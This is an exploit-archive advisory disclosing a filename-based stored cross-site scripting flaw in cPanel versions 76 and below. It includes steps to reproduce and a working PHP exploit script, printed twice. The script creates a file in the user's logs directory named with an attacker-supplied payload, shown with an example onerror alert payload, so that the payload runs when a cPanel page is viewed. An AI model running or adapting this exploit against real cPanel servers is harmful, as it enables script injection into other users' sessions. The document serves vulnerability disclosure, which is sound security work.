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cPanel 76 Cross Site Scripting

cPanel 76 Cross Site Scripting
Posted Aug 14, 2018
Authored by Numan OZDEMIR

cPanel versions 76 and below suffer from a filename based cross site scripting vulnerability.

tags | exploit, xss
MD5 | 5c0c24423a2f89afd9b1b3aefc67eee1

cPanel 76 Cross Site Scripting

Change Mirror Download
[+] Title: cPanel Filename Based Stored XSS <= v76

[+] Author: Numan OZDEMIR

[+] Vendor Homepage: cpanel.com

[+] Version: Up to v76.

[+] Discovered by Numan OZDEMIR in InfinitumIT Labs

[+] root@numanozdemir.com - info@infinitumit.com.tr

[~] Description:
Attacker can run JavaScript codes on this page:
http://ip:2082/cpsessXXXXXXXXXX/frontend/THEME/raw/index.html

[~] How to Reproduce:
Create a file as named with your payload in /home/user/logs directory
or run this php exploit:

<center>
<?php
$p = $_POST['payload'];
$x = get_current_user();
$dir = "/home/".$x."/logs/";

if($_POST){
if(touch($dir.$p)){
die('
Successfully exploited. Visit <br>
http://ip:2082/cpsessXXXXXXXXXX/frontend/THEME/raw/index.html
');
}else{
die('An error occured.');
}
}else{
echo 'Enter your payload:
<form action="" method="post"><input type="text" name="payload"
placeholder="<img src onerror=alert(2)>">
<input type="submit" value=">>"></form>';
}

// end of the script.
?>


Note: You cant create a file as named with / (slash) character by this
exploit.

This vulnerability is disclosed by cPanel Team's confirmation.

// for secure days...<center>
<?php
$p = $_POST['payload'];
$x = get_current_user();
$dir = "/home/".$x."/logs/";

if($_POST){
if(touch($dir.$p)){
die('
Successfully exploited. Visit <br>
http://ip:2082/cpsessXXXXXXXXXX/frontend/THEME/raw/index.html
');
}else{
die('An error occured.');
}
}else{
echo 'Enter your payload:
<form action="" method="post"><input type="text" name="payload" placeholder="<img src onerror=alert(2)>">
<input type="submit" value=">>"></form>';
}

// end of the script.
?>
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